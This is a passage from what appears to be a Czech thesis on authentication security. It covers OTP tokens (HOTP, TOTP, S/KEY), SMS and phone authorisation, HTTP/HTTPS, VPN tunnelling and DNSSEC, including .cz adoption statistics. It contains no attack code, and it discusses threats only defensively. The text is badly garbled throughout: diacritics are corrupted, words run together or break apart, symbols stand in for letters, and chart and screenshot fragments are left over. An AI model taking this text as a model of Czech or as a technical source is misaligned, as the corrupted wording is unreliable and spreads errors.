v internetové kavaghatd.

Hardwarové a softwarové tokeny

Pii pouziti hardwarovych tokénje nutnéreSit jejich distribuci, vyrdinu a podporu.
Trvanlivost tokefi neni neomezena, vydrztiinou 3-5 let.

Alternativou k hardwarovym tokém je softwarové generovani, aplikace existuji pro
vSechny bzrn¢ pouzivané mobilni platformy — Android, BlackBeriQS, J2ME, Windows
Mobile i Windows Phone 7. Velk&ast potencialnich uzivateltedy specialni hardware
nebude pdtbovat.

Hardwarové tokeny jsou jenom tak beape, jak bezp@e jsou systémy jejich vyrobc
V bieznu roku 2011 vydala spolest RSA tiskové prohlaseni o zfisém atoku na produkt
SecurlD. (Coviello) Hrozilo nebez{ie Zze unikl seznameed - tajnych informaci, které
slouzi jako zaklad pro generovani hesla.

Softwaroveé tokeny maji vyhodu, Ze seedy v nichmegadané napevno, alaibe si je
volit autentizujici strana, aniz by bylo nutné gt se na vyrobce.

Varianty OTP

Existuji ovSem i oteené standardy, pomoci kterychire jednordzova hesla snadno
implementovat kdokoliv. Nasleduji¢ast je ¥novana déma technologii — HOTP a TOTP.
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HOTP generuje nové heslo na pozadani, typicky kéadéa stisku tl&itka na tokenu,
TOTP generuje nové heslo automaticky v zavisloattase, typicky kazdych 10, 30 nebo
60 sekund.

Event-based OTP (HOTP)

Vtomto pgipact se jedna skuteé o jednorazové heslo, vygenerované na zadost a
pouzitelné nejvySe jednou. Zkratka HOTP znamena KMased One Time Password,
vyuzivajici algoritmu HMAC pro podpis dat (RFC422@Igoritmus je detaild popséan
v RFC4226 (RFC4226), v nasledujicim odstavci jesgogprincip jeho fungovani.

Kazda ze stran komunikace (token a é&foyici server) musi znat dv
informace: tajemstvi a gdadlo. Tajemstvi (angkecret nebo takeeed) je obeenseskupeni
nahodr vygenerovanych bdit sdilené tajemstvi mezi serverem a klientem. 2degno ze
slabych mist systému: tuto informaci si musi meathoal strany &ak bezpeén¢ predat.
Nicmére predani funguje jednorazéyvneni nutné prodiny provoz. V pipadt hardwarovych
tokeni byva tajemstvi pewnnastaveno a je séasti tokenu jiz od vyroby. Tento kdd je pak
spojen s kédem v autentizdm systému, kam je nutné héed pouziti zavést, zpravidla na
z&kladt sériovéhocisla tokenu (ke kazdému sériovér@iglu odpovida jedno tajemstvi - ta
byvaji dodavana na zvlastnim médiu pro import deemtiza&niho systému). Vifpac
softwarovych toket je obvykle nutné jej zadat fip inicializaci. Druhym klIgovym
parametrem jpccitadlo (counter) jiz vygenerovanych hesel.

Vypocet jednorazového hesla pak probiha tinispiem, Ze po stisku dika token
pouzije aktualni hodnotu pitadla a zaSifruje ji pomoci HMAC-SHAL fipemZ pouzije
tajemstvi jako k. Vysledkem je 160-bitova hodnota, ktera by sansal® byla pouzitelna
jako jednordzové heslo. Pouzit celou 160-bitovdi+t{Znakovou) hodnotu vysledné funkce
by bylo zbyténé narané. Proto RFC4226 definuje postup, kterym se zehli@@é hodnoty
pouzije rekolik (obvykle 6-8) desitkovychkislic. To sice snizi odolnost algoritmu (a
vyZzaduje, aby na stranserveru byla implementovanajaka funkce, kterd omezi velké
mnozstvi poZzadavR, ale &ini cely systém pouzitelnym.

Ztrdta synchronizace

Pro Usgsnou autentizaci je nutné, abylm patitadlo vygenerovanych hesel na obou
stranach stejnou hodnotu. Aleige snadno dojit k tomu, Ze token vygeneruje vicelh@ez
kolik se jich dostane k serveru (&tgednotlivé nebo opakované stisknuticitka na tokenu).
V praxi se postupuje tak, Zze pokud heslo nesouhpiistipoklada server, Zze mohlo dojit
k naruSeni synchronizace a zkusi vygenerovkblik nasledujicich hesel. Pokud se shoduiji,
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prohlasi heslo za spravné a posune &itpdlo o pati¢cny paset krokii dopredu. Vhodny péet
hesel je zalezitosti konfigurace a kompromisem mgiiatelskou fivétivosti a bezpénosti.

Pokud toto selZze, token lze zacitych okolnosti resynchronizovat — pokoaat
s generovanim hesel tak dlouho, dokud nedojde &eésh poté si vyzadatékolik dalSich
hesel jako potvrzeni. Nemusi to byt ale mozné \&dgle to sniZuje bezfmost.

Pro kritické operace (jako jéeba znéna hesla, zruSenitu atd.) I1ze zvySit bezgaost
tim, Ze je pozadovano zadani ne jednoho, &telika po sob nasledujicich hesel. Pokud by
se ut@nikovi poddilo tiebabrute-forcemetodou odhalit jedno heslo, prapodobnost, ze
odhali d¥ po solé nasledujici, je vyraznnizsi.

Vzdjemné ovéreni

Jednorazova hesla na principu HOTP Ize vyuZit kéjemnému ogfeni, tedy lze
potvrdit uzivateli, Ze komunikuje skut® se spravhym serverem. 8takdyZ po UsgsSném
piihlaSeni server vygeneruje dalSi heslo fapda zobrazi jej uzivateli. Tentre udtlat totéz
a hesla se museji shodovat.

Problém se zdlohou tokenu

V piipac hardwarového tokenu tento problém neni nutné rtainé)iesit. V gipac
tokeni softwaro¥ emulovanych tokahmiZe nastat problémiippieinstalaci daného #aeni.
Aby prihlaseni fungovalo, musi si token pamatovat staditpdla, coz by znamenalo po
kazdém pouziti zalohovat, ne&taalohovatiteba jednou dern

Pouziti HOTP tokenu musi byt exkluzivni. TentyZ énkneni mozZné pouZit pro
piihlaSeni do &kolika riznych systérin, které spolu nejsou propojené. VSechny systénig tot
museji sdilet spotay citac vygenerovanych hesel. Plati to i obragenelze mit gkolik
tokeni k jednomu systému, pokud s tim systém nebuitlepditat ve svém navrhu, tokeny
(byt’ by mély stejné tajemstvi, nejsou vzajedmahraditelné).

Papirovy token

Vzhledem k tomu, Ze sekvence heseliedem dana, neni nutné, aby se heslitao
v okamziku pateby. Hesla je moznéiedpaitat dogedu a tokenem setbe stat obgejny
kus papiru, na ktery si uzivatel hesk@gem vytiskne. Tento apob lze pouzit jako rezervu
pro pipad ztraty tokenu, na druhou stranu se jedna méstbezpénostni riziko jako
poznamendvani hesel na papir. Lze si vS@dgiavit nafiklad pipad, kdy z gjakych
duvoda chce firma dat d@asré pristup do vnitrofiremni VPN chré&né jednorazovymi hesly,
nagiklad dodavateli inform@miho systému zacélem dohledani chyby. Doba poskytnuti
muze byt snadno omezena néit& intervaly nebo celkovou dobu platnosti.

Varianta S/KEY
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Varianta jednorazovych hesel S/IKEY bez nutnostiZioditace pouziva nasledujiciho
principu: (RFC1760)

Na papir je vytid&ina posloupnost H(W), H(H(W)), ....)JdV) v opa&ném pdadi, kde H
je hashovaci funkce, W jeapodni tajemstvi, které je po vyt znieno. Uzivatel pak
zadava hesla postuanNa serveru je uloZzeno pouze posledni heslo zéskaetizce hesel.
Pii autentizaci uZivatel poskytne hesl8¥W) a server os#i jeho platnost proti ulozenému
heslu H(W) a pouZije jako referéni ziskané heslo H(W).

Vyhodou této autentizai metody je, Zeip Utoku na server a ziskani posledniho hesla
neni mozné odhalit nové heslo. Nevyhodou je omezmxigt pouzitelnych hesel a &gob
uloZeni hesel na klientské stéan

Time-based OTP (TOTP)

Druhy zpisob je zavisly nikoliv na gitu vygenerovanych hesel, ale na aktualtase.
Zkratka TOTP znamena Time-based One Time Password.

Princip generovani hesla je stale stejny jakd@ipgot HOTP, jenom se misto pibadla
pouzije aktualntas. RFC6238 (RFC6238)edpoklada, Ze se jako pohyblivy faktor pouzije
pocet celych ticetisekundovych interval které ukhly od 1. 1. 1970 00:00:00 UTC¢koliv
implementac&asto pouzivaji i Sedesatisekundové intervaly.

TOTP také poitd s pouzitim nagjSich hashovacich algoritm z rodiny SHA-

2. Nicméré pro (tely generovani jednorazovych hesel je z praktickgithodi dostatene
dobré i SHA-1 a dokonce ijiz zastaraly MD5, pra&o¢Sechny zndmé atoky, vedené na
hashovaci algoritmy, s¥uji k nalezeni koliznich dokumantnikoliv k nalezeni fivodniho
textu ged provedenim hashe. Nalezeni kolizniho dokumeigdspavuje problém pro situaci,
kdy hash slouzi k aeni integrity nebo k vzdjemnému propojeni dvou do&ati (jako je
tomu v gipadt elektronického podpisu), ale nikoliv ¥ipadt HMAC. (Bellare, 2006)

Hlavni vyhody a nevyhody t¥dopané vlastnosti oproti HOTP popisovaném vySe v
textu. TOTP token nelze pouzit ke vzajemnémuieni ani k vygenerovani ¢kolika
nasledujicich hesel pro zvySeni beamesti. RoviZz neni problém se zalohou a obnovenim
softwarového tokenu, protoZe jediné, co jerglod znét, je znat tajemstvi.

Ztrdta casové synchronizace

V piipact, Ze se rozejdou hodiny na st¢aserveru a na strarklienta, znamena to
samozejm¢ problém. Serverové implementace obvykle postuialji Ze si vygeneruji heslo
pro p'edchozi a nasleduji¢asovy interval a ten zkusi pouZzit.

V piipact softwarovych tokei je problém snadntesitelny — st& nastavit spravnyas

(Ize predpokladat, Ze server vtakové aplikaci bude #ag synchronizovanyips NTP
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s divéryhodnym zdrojem). U hardwarového tokenu je vicetm@gjjednodussi token zahodit
a pouzivat jiny. Server si nicm&muaze @i piihlaSeni zaznamenat obvyklé zkresleni a
prizpusobit se.

Jednordzovost hesel

TOTP negeneruje jednorazova hesla, ale hesla semmoezdobou platnosti. Bude-li
uvazovan interval zemy 30 sekund a server bude akceptovat jedno hegltedu a jedno
dozadu, heslo bude platné teoreticky 90 sekundtipkgy nejvyse 60.

Pokud nejsou ifjata dodaténa opateni na stra® serveru (ktery si na&p bude
pamatovat hesla zadana v posledni ¢dob opakované zadani odmitne), aze
odposlouchavajici Gtmik jednordzové heslo zneuzit ke druhémtihl@Seni, bude-li
dostaténg¢ rychly (replay-attack.

Vestavénd obrana proti brute-force ttokiim

V piipact event-based OTP je nutné na s¥raarveru fijmout dodaténa opaiteni proti
atokim hrubou silou — po zadanétgiho mnozstvi chybnych heselell zablokovat a nebo
lépe zpomalit odezvu (provestd@sné zablokovanictu).

Time-based OTP ma& takovou obranu ze své podstagfawpou, protoZze na
uskut&néni brute-force utoku mé Ginik jenom 90 sekund {pintervalu 30 s a jednim
akceptovanym heslem na kazdou stranu). Je dostavapodobné, Ze by za takovou dobu

bylo mozné usgsny brute-force utok proveést.

Vyhody jednordzovych hesel
* Mohou byt vyuzita na systémech bez infrastruktuaigyych klca
* Mohou byt implementovana naizzenich bez rizika napadeni
* Neni poteba instalace na klientskychdgiacich
» V¢EtSinou nevyZaduje zénu rozhrani proiphlaseni
» UZivatelské jméno a heslo=uzivatelské jméno a OTP
» Jednoducha na pouzivani

* Mohou byt vyuzivana i v pro jiné komunika kanaly nez internet

4.4.5. Vyuziti vice nezavislych komunik&nich kanali

Pri operaci autorizace v kritickych aplikacich, jakagiklad internetové bankovnictvi,
schvalovaci systémy apod. je vhodné pouzit pronéiatei dodatény nezavisly komunikani
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kanal. Pomoci tohoto kanalu je mozné poslat pogklacdutorizaci nezavislou cestou a
odhalit tak Utokman-in-the-middlePokud by uténik podvrhl data najklad k pevodnimu
piikazu do banky, uZivatel by dostal nezavislym kemélit@nikav (podvrzeny) fikaz a
transakci by nepotvrdil.

Autorizace kédem SMS

Jako nejrychlejSi a nejspolehdjgi komunik&ni kandl Ize vyuzit sluzeb &GSM —
zprav SMS. (sendSMSnow.com) (SMS PASSCODE A/SkRajevyhodou jsou dodats
naklady na autorizaci &ipadna nedostupnost signalu GMS u uZivatele.

Souasti SMS je fimo jednorazovy autorizai kod ktery slouzi pro potvrzeni prav
této jedné transakce a neni mozné ho opakopaunzit.

Pii ztra® mobilniho telefonu musi uZivatel bezptesire zajistit zablokovani
telefonnihatisla, aby nedoslo ke zneuziti.

Telefonické ovéreni

Béhem telefonickeého a¥eni probiha autorizace operace obdofako u autorizace
kodem SMS, pouze informace petiné k autorizaci jsoui@dany hlasovym automatem.
V ramci telefonického hovoru je také mozné v torktoku provést potvrzeni operace. Pro

zajis€ni bezpeénosti ot plati stejna pravidla jako pro autorizaci SMS é&dd
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4.5. Bezpeanost komunikaénich kanahi
4.5.1. Protokol HTTP

Protokol HTTP slouzil fivodné k vyhledavani informaci na internetu. V gasnosti se
jedna o nejpouzivaysi protokol na internetu.

Komunikace protokolu HTTP se sklada z dotazu a wéliio Relace mezi klientem a
serverem je tvi@na vzdy pouze dotazem a odpdivna tento dotaz. Fakt, Ze protokol HTTP
neumoduje delSi dialog nez jeden dotaz a okamzitou od8ipye omezujicim faktorem
protokolu HTTP. DalSim omezujicim faktorem je pduarchitektury klient/server. Ta
neumo#uje odesilat asynchronni udalosti ze serveru ldentServer nize odeslat zpravu
klientovi nejdive v okamziku, kdy klient odeSle¢jaky dotaz na server. Protokol HTTP
zavadi proxy, branu a tunel.

Proxy

Proxy je systém skladajici se ze dwaisti:

1. Serverov&ast — pijima pozadavky klienta, jakoby jeipmal cilovy server
2. Klientskacast — pevezme pozadavky od serverasésti proxy, navaze TCP spojeni
s cilovym serverem a@da jménem klienta poZzadavky cilovému serverurkzeni
Proxy ma vlastni logiku. Rozumi aplik@mu protokolu (HTTP) a sijgatym
pozadavkem tize proveést &olik operaci:
» Muze epsat pozadavek nebo odpdv
* Odpowdi mize ukladat do pa#ti cache
* Muze zji¥ovat, zdali je klient oprawim provést takovy pozadavek
* Muze provést antivirovou kontrolu
* MiZze autentizovat uzivatele
* MiZe poskytovat sluzby viitim i vrejSim uZivatehm, @i piistup z vijSich adres
pak miZze vyZadovat autentizaci

Brdna

Brana pracuje na obdobném principu jako proxy,sdien rozdilem, Ze #mi aplikani
protokol. Rijima nagiklad poZzadavek v protokolu HTTP aém jej na komunikaci
v protokolu FTP.

Tunel
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Tunel nerozumi f@nasSenym datn, Ize jim tedy dokonceipnaSet aplikeni data
zaSifrovanag¢ehoz vyuziva protokol SSL. Tunel navazuje obotrsi spojeni, kazdé spojeni

je tvareno d¥ma komunikanimi kanaly, kazdy pro jeden $m

4.5.2. Protokol HTTPS

Pro zajiSéni bezpéného komunikéniho kanalu je vhodné pouzit, rfaprotokol SSL,
ktery pomaha zabezgie protokol HTTP na jeho bezpesjSi verzi HTTPS, kter4 umdaje
pienaSend data Sifrovat.

Protokol HTTP (HyperText Transfer Protocol) je kamkacni protokol uteny
pro vymenu hypertextovych dokumenwve formatu HTML (HyperText Markup Language -

hypertextovy znéovaci jazyk), ktery slouzi pro tvorbu internetokiysiranek.

Protokol SSL (Secure Sockets Layer) pochazi od yfilNetscape a specializuje
se na zabezpeni genosu dat mezi klientem a serverem, které nejsbezpgeny pomoci
protokolu TCP/IP. Vrstva protokolu SSL dodaté ieSi zabezpeni genaSenych dat,
je vlozena mezi aplikai protokol a protokol TCP. K dispozici jsou tedgplikatni data,
aplikatni protokol, protokol SSL, protokol TCP, protokd h linkovy protokol (Ethernet).
(Cetelsky, 1999)

Protokol SSL provadi autentizaci servegitSinou na zéklatlcertifikdtu serveru a pak
muze provést autentizaci klienta také na zakladrtifikatu klienta. K autentizaci nedochazi

pii komunikaci klienta s anonymnim serverem.

Autentizace se provadgtsinou pomoci asymetrické kryptografie, ktera j@gimvana

za relativié silnou stranku SSL.

Souasti p@&ateini komunikace je vyena dat, ze které je odvozeno tzv. sdilené
tajemstvi. Sdilené tajemstvi je blgksel, ktery znaji jen dastnici konkrétni komunikace,
a pro ostatni je utajen. Odvozuji se o¢hm symetrické Sifrovaci klé a tzv. tajemstvi

pro vypaet kontrolniho sottu (MAC secret).

Protokol SSL umaiuje Sifrovat penos dat mezi dwna &astniky komunikace.
Pro Sifrovani se pouziva jiz vySe zmd symetricka Sifra, jejiz Klije odvozen od sdileného
tajemstvi.

PrendSené fragmenty dat se dagl o kontrolni sotet, ktery zajiSuje integritu
pienaSenych dat. ProtoZe se kontrolni ¢ebunepgitd jen z fragmentu ipnaSenych dat,
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ale fragment se pro vypet kontrolniho sottu ztetzi s tajemstvim pro vyget kontrolniho
sou'tu, je velmi naréné upravit penaSend datathem genosu. Timto zjgsobem je porrné
spolehliv zajiS€éna integrita penaSenych dat.

Protokol SSL nenahliZzi do aplika@ich dat (je umigh v niZSi vrst¥), proto nedokéze

rozeznavat v aplikanich datech jednotlivé transakce.

Protokol SSL nepodepisuje elektronicky jednotlivéerraSené fragmenty nebo
transakce, neni mozné ho tedy pouZzit pro aplikktexe vyZzaduji pouziti elektronického
podpisu (bankovni transakcegpos dat pro statni spravu, ...). Ma uptaintam, kde nevadi
omezena délka Sifrovaciho & a neni nutné pouzit elektronicky podpis i@naSenych
transakci. Pouziva se k zabesd protokolu HTTP (HyperText Transfer Protocolhymxi
vloZené vrstvy SSL a poté se zabermg verze protokolu ozéigie jako HTTPS (HyperText

Transfer Protocol Secure).(McClure, a dalSi, 2007)

4.5.3.VPN

K tunelovani je pdtba tunel — kanél pro data meziha p@itaci v siti. Tento kanal
muze byt tvden teba i TCP spojenim, ale v praxi se pouziva spi&cialzovanych
protokoli na urovni IP (ipsec, gre). (Kara, 2003)

Tunelovani se &tSinou vyuziva pro spojeni vzdalenych siti do jedtéra je zdanliy

homogenni. Viz Obrazek 7.
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Obrazek 7 Schéma VPN (SecureNet)
Tunelovani pomoci GRE

Jednodussi je vytvani tunel pomoci protokolu GRE. GRE znamena General Routing

Encapsulation protocol (vSeobecny zapduaxeci protokol).
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GRE je jednoduchy a pamné rozSteny standard, GRE tunely se daji vybtanejen
mezi systémy typu Linux, ale i s Cisco routery netsystémech Microsoft Windows.

IPSec

IPSec (IP security) je roZzeéni protokolu IP. VytvA logické kanaly (Security
Associations), které jsou vzdy jednasme. (RFC2401) (RFC2411)

4.5.4. Technologie DNSSEC

DNSSEC je roz$éni systému doménovych jmen (DNS), které zvySuije Jeezpénost.
DNSSEC poskytuje uzivat@h jistotu, Ze informace, které z DNS ziskal, bylyskytnuty
spravnym zdrojem, jsou Uplné a jejich integritaylelpii pirenosu naruSena. DNSSEC zajisti
duveéryhodnost addi, ziskanych z DNS. (NIC.CZ)

Prestoze wtSina internetovych sluzeb sama o &olsjaké formy zabezpeni ma a
uzivatelé jsou zvykKli je pouZzivat, existuje jedradSd hrozba, kterou si malokdoadomuje, a
kterou dokéze odvrétit pouze DNSSEC.

VSechny internetové sluzby (e-mail, webové strankgtant messaging, internetové
volani,...) vyuZivaji systém doménovych jmen (DNS -enmain Name System). Jeho
zakladnim principem je to, Ze umuje v adresachsthto sluzeb pouzivat jména, ktera jsou
srozumitelna a snadno zapamatovateln&tfmeska, namistaisel, kterd jsou srozumitelna a
potrebnd pro péitace. V praxi to pak funguje tak, Ze kdykoliv uZivabuZije jmennou
adresu tjaké internetové sluzby (webové stranky, emailoadresu atd.), je nutné jiglozit
pomoci DNS na adrestiselnou a na tutéiselnou adresu se pakdi@¢ obrati, aby se spojil
se sluzbou, kterou uZivatel chce pouZzit.

V pripad, Ze rkdo dokaze podvrhnouiselnou adresu, uzivatel se, aniz bude cokoliv
tusit, dostane na upininé misto, a ubec se nespoji se sluzbou, ktergalkaval, viz Obrazek
8.
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Globalni DNS

ISP Internet

Obréazek 8 Utok na DNS (NIC.CZ)
UZivatel napiSe do svého prohkgeadresu, a za normalnich okolnosti vSe probiha

zelert ozn&enou cestou — pouZije server svého poskytovatéf@ojpni (ISP), a ten z
globalniho DNS systému zisk#selnou adresu, se kterou se uzivatel spoji a pawtuzbu,
kterou ch¢él. V pripadt, Ze je vSakciselna adresa podvrzena, pak vSe proliiddert
ozna&enou cestou, a uzivatel je spojen s jinou sluzbai¥, cokoli tusi.

V piipac, Ze napadenou sluzbou je elektronicky obchod, kavatelé vkladajicisla
platebnich karet, nebo je to sluzba sledujici pghiktrzii akcii pouzivanou pro investi
rozhodovani, nebo jen odesilani e-mailu geritymi informacemi, neni Zadouci, aby
informace, které jsouipnaseny, byly z nédéryhodného (podvrzeného) zdroje, a naopak aby
odesilané Udaje nepadly do rukalkemu nepovolanému. A pré¥o se pomoci zneuziti DNS
muze stat, pokud neni implementovano zabézpiepomoci DNSSEC.

Ochrana pomoci DNS

Principem DNS je feklad jmennych internetovych adres, jako ifikdpd www.nic.cz
nebo www.czu.cz, na adresyselné, kterym p&tace rozungji a jejichz pomoci dokazou
zajistit zobrazovani webovych stranek, odesilamad, telefonovani po internetu a dalSi
béZzné internetové sluzby. DNSSEC zvySuje bémpst (i pouzivani DNS tim, Ze zahnaje
podvrzeni faleSnych, pozménych¢i nedplnych addj o doménovych jménech.

Sluzba DNS, neni-li zabezfmna pomoci DNSSEC, poskytuje potencionalnimu
atocnikovi nékolik mist, na kterych je mozné komunikaci nar@itfalSovat Udaje. Tim, Ze
atocnik zmeni tdaje o doménovych jménech, ovlivni fungovansgida internetovych sluzeb,
které mize timto zasahem zneuzit. Gidk pak mize napiklad:

» ziskavat cizi e-maily
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 pomoci faleSnych webovych stranek ziskavat heslestupové kodyci Udaje o
platebnich kartach apod.

» obchazet antispamovou ochranu v DNS a spam posilat

» podvrhnout zpravy a informace na webovych strankach

» presnerovavatci odposlouchavat telefonni hovory, vedetiéspinternet.

UZivatel @gitom nema ve #Siné piipadi Sanci poznat, Ze sejd néco neobvyklého.
Diky zavedeni DNSSEC ziska jeho uzivatel jistotl,irformace, které z DNS ziskal, byly
poskytnuty spravnym zdrojem, jsou Uplné a jejickegmita nebyla H pienosu narusena.
DNSSEC zajisti @ivéryhodnost uddj, ziskanych z DNS.

Obrazek 9 pedstavuje vypis doménovych informaci o konkrétnméa: z registru
NIC.CZ. Z vypisu se iejmé, Ze uvedena doména neni wsgné dob (prosinec 2011)
zabezpeéena pomoci technologie DNSSEC a mohla by byt p@ibrc zneuzZita
k phishingovému utoku.

" VYHLEDAVANI V REGISTRU (WHOIS)

Vysledek vyhledavani czu.cz.

*: PROHLEZENT DOMENOVEHO JMENA

v

05.12.1596
16.08.2010 10:59:25

21.10.2012

SB:S187-RIPE XX Czech University of Agriculture

REG-MEDIA4WEB MediadWeb s.r.o od 21.10.2004 10:25:00
Q

Doména je zaplacend a v zéné

NSS:5187-RIPE_XX:1

sity of Agriculture

d 01.10.2007 02:00:00

Obrazek 9 Informace o doméi CZU.CZ (zdroj: autor)

DNSSEC zavadi DNS asymetrickou kryptografii — tgmhuzivani jednoho kié na
zasifrovani a jiného kie na deSifrovani obsahu. Obdobny princip je zakladeangjSiho
Sifrovani zprav pomoci PGB podepisovani e-midil elektronickym podpisem. Vifpact
DNSSEC si drzitel domény vygeneruje dvojici soukétim a véejného klée. Svym
soukromym kléem pak elektronicky podepiSe technické udaje, kbes#é doméndo DNS
vklada. Pomoci uejneho kiée je pak mozné @¥it pravost tohoto podpisu. Aby byl tento
kli¢ dostupny vSem, publikuje jej drzitel ke své doménnadazené autority, kterou je pro
vSechny domény .cz registr domén .cz. | na Uroegistru domén .cz jsou technicka data v
DNS podepsana a kagny klic k tomuto podpisu je @p spravcem registruipdan nathzené
autorig. Vytvari se takiettz, ktery zajisti dvéryhodnost uddj, pokud neni v Zzadném svém

¢lanku porusen, a vSechny elektronické podpisy smihviz Obrazek 10.
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Obrazek 10 Ochrana pomoci DNSSEC (NIC.CZ2)

DNSSEC je se stavajicim DNSé&p: kompatibilni a ob varianty funguji sotasre.
Pro EZného uzivatele se tedy okamzikem zavedeni DNSSE@Gemi pravd&podobr nic - a
to az do momentu, dokud se nésfusném DNS serveru neéree DNSSEC pouZzivat. To
muze byt v pipac experfi piimo na uzivatelo¥ pccitagi, v pripac firem na firemnim
serveru a v fipact béZznych uZivatel na serveru jejich poskytovatele internetovétipgjeni.
Poskytovatalm sluzeb a obsahu pak DNSSEC nabizi moznost z\y&rpe€nost a
duvéryhodnost svych sluzeb. Pro zavedeni DNSSEC jeénwhy byly zaji&ny digitalni
podpisy jejich DNS ud&éj a pislusné Sifrovaci kéie publikovany do registru domeén .cz.
(NIC.CZ)

Dle statistik sdruzeni NIC.CZ (NIC.CZ) je v s@snosti technologii DNSSEC
zabezpeéeno vice jak 17% domén (viz. Tabulka ZeggevSim zavedenim DNSSEC u jednoho
z nejwtsich registratdr domén VCR spolé€nosti Active24. Toto plosné zavedeni nastalo

v bfeznu 2010, coz vystluje skokovy naist na Graf 1.
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Mésic Pocet Zabezpeceno Podil
domén DNSSEC zabezpecenych
domén
2009-11 620885 1419 0,23%
2009-12 629327 1441 0,23%
2010-01 640346 15852 2,48%
2010-02 654092 16554 2,53%
2010-03 667617 96541 14,46%
2010-04 677667 97608 14,40%
2010-05 686040 98593 14,37%
2010-06 693760 99114 14,29%
2010-07 699132 100049 14,31%
2010-08 708847 101741 14,35%
2010-09 719950 104918 14,57%
2010-10 728552 106619 14,63%
2010-11 740516 108530 14,66%
2010-12 748801 110356 14,74%
2011-01 760813 113458 14,91%
2011-02 775781 116360 15,00%
2011-03 787583 119729 15,20%
2011-04 795883 122935 15,45%
2011-05 805098 124541 15,47%
2011-06 814682 133104 16,34%
2011-07 821728 135261 16,46%
2011-08 833806 139441 16,72%
2011-09 844680 142040 16,82%
2011-10 858667 146120 17,02%
2011-11 871391 151729 17,41%

Tabulka 2 Zabezpeeni technologii DNSSEC (NIC.CZ)

39




Zavadéni DNSSEC
40

30

20

Relativni zastoupeni [%]

10

0
SELS SRS PO SR D PP PN D PP
AT N AN AT AN AT N N AN AN N N AN LAY DAY LAY LAY LAY N NN

R R O A

Mésic

Pocet domén

Graf 1 Podil zabezp&enych domén na celkovém ptiu domén v z6ré .CZ (NIC.C2)

Pro fungovani DNSSEC je nutna také implementaceotazdjicich DNS servér
(Peterka, 2011)

Pokud by tedy &kdo skuténé napadl vzajemnou komunikaci mezi DNS servery,
nagiklad pro poteby rgjakeho phishingového nebo pharmingového utoku, m@dmo
technologie DNSSEC je mozné utok odhalit a ochrgiigd potencialnimi dsledky.
(McClure, a dalSi, 2007). Z pohledu koncového ug&hlaby se to projevilo tak, Zze bybhec
nedostal poZadovanou odpdivod toho DNS serveru, na ktery se jehditag obraci (a ktery
vystupuje v roli DNS resolveru). PoZzadovana strakkeré se odpad’ tyka, by se mu jevila
jako nedostupna (zigtodu toho, Ze jeho @itac neni schopen ziskat odpovidajici IP adresu).

Sdruzeni NIC.CZ provozuje domémuwvw.rhybar.cz na které je mozné ¢kt fungovani

DNS revolveru. V pipact nezabezpgeného DNS serveru zobrazi stranka informaci oidhic

spojenych s nezabezfmnych DNS resolverem, viz Obrazek 11.
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i TEST OCHRANY POMOCE DNSSEC

——

WasE poditad neni pfi pFistupu k internetowvym
zluzbdm a zdrojim zabezpeden technologii
DMNSSEC. MiZete =e tedy =nadno stat obéti
atoku na systém doménovych jmen. MiZe se
Vam stat, Ze se pfi pouZiti internetowvych
adres dostanete na podvrZzené stranky ci
sluZzby! Abyste toto riziko snizili, musite
zaveést ochranu pomoci DNSSEC. Jak na to se
dozvite z privedce zavedenim DNSSEC.

Obrazek 11 Test ochrany pomoci DNSSEC (zdroj: autdr

4.5.5. Dalsi komunikaéni kanaly

Pt autentizaci na dalku neni mozné omezit se poazeternetovou komunikaci. Jiz

samotné zasilani jednorazovych hesel nezavislym ukd@nim kanalem vyuZziva

komunikaci mimo siinternet. Z tohotoivodu je nutné hodnotit z hlediska be&apesti i tyto
komunikani kanaly viz Obrazek 12. Jsou jinfigvazri: (Hoyer, 2009) (Baruch)

Mobilni telefon/pevna linka — komunikace probihadba zivym operatorem nebo
hlasovym automatem, data jsou odesilana fdsictvim ténové volby nebo
piepisem od operatora

Interaktivni televize — nové technologie fim@Si mozZnost komunikace
s provozovatelem televizniho kanalu

Technologie WAP pro ifistup z mobilnich telefan (zde je nutno uvést, Ze
s rozSfenim chytrych mobilnich teleféns operanimi systémy je tato technologie na
astupu)

Fax — technologie v s¢asnosti nahrazovana e-mailem
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4.6. Hardwarova podpora
4.6.1. Cte¢ky &ipovych karet

Pro vyuzivangipovych karet s uloZzenym privatnim é&im je nutné viastnit takéecku
piislusnycheipovych karet.(Monet+, a.s.)

V CR zatim neni iejméa implementace novych &mnskych pikazi, u kterych je
uvactna moznostipu na ktery by mdlo byt mozné nahrat privatni Elia jeho certifikat.

(Peterka, 2010) Aktuaénk této problematice nejsou Zadné blizSeya dostupné informace.
4.6.2. USB Kli¢

USB Kli¢ je tvaren aplik&ni logikou (Sifrovaci algoritmy), GloZi&n certifikdtu a
¢tecky, vSe v jediném zé&zeni. (SafeNet Inc.) Princip fungovani je obdoljako u ctecky
¢ipovych karet a samotnyatipovych karet — podpis dat zdjife USB KIE, soukromy k¢
z USB klice neni mozné exportovat. NejbezpgsSi zaizeni jsou chrama autodestruni

funkci a @i pokusu o nasilnou manipulaci nebo napadeninikem dojde ke zgeni¢ipu.
4.6.3. OTP tokeny

Hardwarové generatory jednorazovych hesel jsoug@ghtova zdizeni.
Redeni pro jednordzova hesla existuji desitky, majsizkazda ¥tsi spolénost,
pohybujici se v oblasti gtacové bezpénosti, napiklad: (Valasek, 2011)
* RSA SecurlD
 Gemalto EasyOTP
* PointSharp
* Entrust IdentityGuard

+ SafeNet
« eToken
o Zyxel
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Obrazek 13 Hardwarovy generator OTP RSA SecurlD (R3)
VétSina gchto feSeni je ovSem cilena spiSe na velké zakazniky&inkomplexni (a
pati¢né draha)ieSeni. Navic hardwarové generatory jsou pouze jgaétmve — pro kazdy

Gcet je nutné vlastnit zvlastni generator. V praxk p&ivatelé musi s sebou nosit velké
mnoZstvi &échto generatd.

4.6.4. Mobilni telefony

S rozvojem chytrych mobilnich telefdon je moznost instalovat generatory
jednoréazovych heselifmo do mobilnich telefal kde je dikaz viastnictvim aplikovan jako
vlastnictvi mobilniho telefonu s nainstalovanouikaai. Vyhodou &chto aplikaci je moznost

VyuZiti generatoru pro viceti, nevyhodou je moznost napadeni mobilniho telekpyware
obdobr jako na osobnim p@dtaci.

44



4.7. Porovnani autentiza&nich metod

4.7.1. Porovnani z hlediska ohrozeni

Pro porovnani autentizaich metod z hlediska ohrozeni byly na zaklatedchozich
zZjisteni posuzovany tyto hrozby:
* Replay-attack — moznost opakovani Gtoku podle sahéjiz provedenéhoiihlaseni
 Odposlech — moZznost a riziko odposlechnuti autatitizh Gdaj  pri
zadavani/fenosu
» Brute-force — Gtok hrubou silou
* Slovnikovy utok — utok pomoci slovnikovych hesekqla obsazena v narodnich
